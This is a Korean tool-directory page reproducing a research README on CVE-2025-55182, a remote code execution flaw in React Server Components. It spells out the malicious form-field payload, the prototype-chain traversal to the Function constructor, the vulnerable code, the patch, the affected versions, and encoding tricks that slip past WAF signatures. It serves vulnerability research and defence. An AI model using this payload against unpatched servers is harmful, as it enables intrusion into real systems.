Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-research — CVE-2025-55182에 대한 기술적 개념 증명 및 심층 분석으로, React의 Flight Protocol에서 경로 탐색, 가짜 청크 주입, $B 핸들러 남용을 통한 치명적인 RCE 취약점입니다. | Kitploit
도구/GitHubGitHub/ejpir/cve-2025-55182-research
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPapers & ResearchLearning & EducationPayload Development
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

CVE-2025-55182에 대한 기술적 개념 증명 및 심층 분석으로, React의 Flight Protocol에서 경로 탐색, 가짜 청크 주입, $B 핸들러 남용을 통한 치명적인 RCE 취약점입니다.

저장소 보기
795202279개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182는 React의 Flight Protocol에서 발생하는 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색(path traversal) + 가짜 청크 삽입(fake chunk injection) + $B 핸들러 남용을 통해 Function(attacker_code)를 실행합니다.

작동하는 익스플로잇 체인을 제공한 maple3142님께 큰 감사를 드립니다!


익스플로잇

공격 개요

익스플로잇은 세 개의 폼 필드를 사용하여 악성 페이로드를 구성합니다:

  1. 자신을 참조하는 then 속성을 가진 가짜 청크 객체를 생성합니다 (필드 1 $@0 → 필드 0)
  2. _formData.get이 $1:constructor:constructor로 설정된 가짜 _response 를 포함시킵니다
  3. $B 핸들러를 트리거하여 response._formData.get(response._prefix + id)를 호출합니다
  4. 경로 탐색을 통해 _formData.get → Function을 찾아 Function(code)를 실행합니다

익스플로잇 흐름```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### 핵심 구성 요소

| 구성 요소 | 목적 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 자기 참조적인 thenable; chunk 1 (`$@0`)이 chunk 0을 다시 가리킴 |
| `status: "resolved_model"` | 객체를 유효한 React chunk처럼 보이게 함 |
| `reason: -1` | rootReference를 undefined로 설정 (참조 충돌 방지) |
| `value: '{"then":"$B1337"}'` | `$B` 핸들러를 트리거하는 중첩 페이로드 |
| `_response._prefix` | RCE 코드 문자열을 포함함 |
| `_response._chunks: "$Q2"` | chunk 처리 중 충돌을 방지하기 위한 빈 Map |
| `_response._formData.get` | `$1:constructor:constructor`를 통해 `Function`을 가리킴 |

### 구성 요소 심층 분석

#### 폼 필드 구조

익스플로잇은 순환 참조가 있는 세 개의 폼 필드를 사용합니다:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

자기 참조 Thenable (then)

then: "$1:__proto__:then"는 실제 함수로 해석되는 자기 참조를 생성합니다:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**이것이 중요한 이유:**

1. `then`이 `Chunk.prototype.then`으로 해석됩니다. 이는 실제 호출 가능한 함수입니다.
2. 이로 인해 가짜 객체가 유효한 thenable이 됩니다.
3. await될 때, JS는 `obj.then(resolve, reject)`를 호출합니다.
4. `Chunk.prototype.then`이 가짜 객체를 `this`로 하여 실행됩니다:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this)는 this._response를 사용합니다 - 공격자의 가짜 _response:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**자기 참조 없이는**, 가짜 `_response`가 절대 사용되지 않습니다. 자기 참조는 `Chunk.prototype.then`이 공격자의 객체를 실제 Chunk로 취급하게 합니다.

#### 2단계 Thenable 트리거 (`value`)

`value` 필드에는 다른 thenable을 포함하는 중첩된 JSON 문자열이 포함됩니다:```json
{"then":"$B1337"}

단계 1: 외부 객체의 자기 참조 then이 청크 처리를 트리거합니다

단계 2: React가 모델을 해석할 때 value를 파싱하고 then: "$B1337"이라는 또 다른 thenable을 만납니다. $B 접두사가 핸들러를 트리거합니다:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get`는 `"$1:constructor:constructor"` → `getOutlinedModel()`이 `Function`으로 확인됩니다.

이는 `Function(code + "1337")` → 유효한 JS가 됩니다. 왜냐하면 `1337`은 단순한 후행 표현식이기 때문입니다.

#### 방어적 패딩 (`_chunks`)

가짜 `_response`에는 크래시를 방지하기 위해 유효한 `_chunks` 속성이 필요합니다.```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

React의 내부 코드는 처리 중에 response._chunks.get() 또는 response._chunks.has()에 접근할 수 있습니다. 빈 Map은 이러한 호출을 오류 없이 만족시켜, 취약한 $B 핸들러에 도달할 수 있도록 합니다.


취약한 코드 경로

경로함수공격에서의 목적
경로 탐색getOutlinedModel()$1:constructor:constructor → Function 확인
가짜 _response 주입initializeModelChunk()공격자의 chunk._response 사용
$B 핸들러parseModelString()_formData.get(_prefix + id) 호출 → RCE

decodeReply()는 진입점이며, 그 자체로 취약하지 않습니다.

경로 탐색 (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**가짜 응답 사용법** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B 핸들러 RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## 수정 (19.2.1)

패치는 여러 수정 사항을 포함합니다:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 중요한 수정   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
  1. hasOwnProperty 확인 (getOutlinedModel() 내) - 프로토타입 순회 차단 ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
  2. __proto__ handling in reviveModel() - 프로토타입 오염 방지 ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
  3. initializeModelChunk()에서 타입 검사 - 리스너를 검증합니다 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);

영향 및 버전

영향 평가

기능상태비고
프로토타입 체인 탐색✓ 확인됨$1:constructor:constructor 사용
Function 생성자 접근✓ 확인됨매니페스트 불필요
완전한 RCE✓ 확인됨가짜 청크 + $B 핸들러 사용

영향을 받는 버전

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 동일한 버전
  • Next.js: 15.x, 16.x (패치 이전), 14.3.0-canary.77+부터의 카나리 버전

수정된 버전

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

서명 기반 WAF 탐지가 실패하는 이유

이 섹션에서는 전통적인 패턴 매칭 WAF 규칙이 이 익스플로잇을 안정적으로 탐지할 수 없는 이유를 설명합니다. 이러한 한계를 이해하는 것은 방어 태세를 평가하는 보안 팀에게 필수적입니다.

핵심 문제: 다중 계층에서의 인코딩

익스플로잇 페이로드는 각각 다른 인코딩 지원을 가진 여러 파서를 통과합니다. 원시 HTTP 바이트를 검사하는 WAF는 인코딩된 문자열을 보지만, 서버는 처리 전에 이를 디코딩합니다:

계층파서디코딩
JSON 구조JSON.parse()\uXXXX 유니코드 이스케이프
JavaScript 코드Function() 생성자\uXXXX, \xXX, 8진법, fromCharCode()

이는 근본적인 불일치를 만듭니다: WAF는 인코딩된 바이트를 보지만, 애플리케이션은 디코딩된 문자열을 봅니다.

서명이 일치해야 하는 대상

도구 다운로드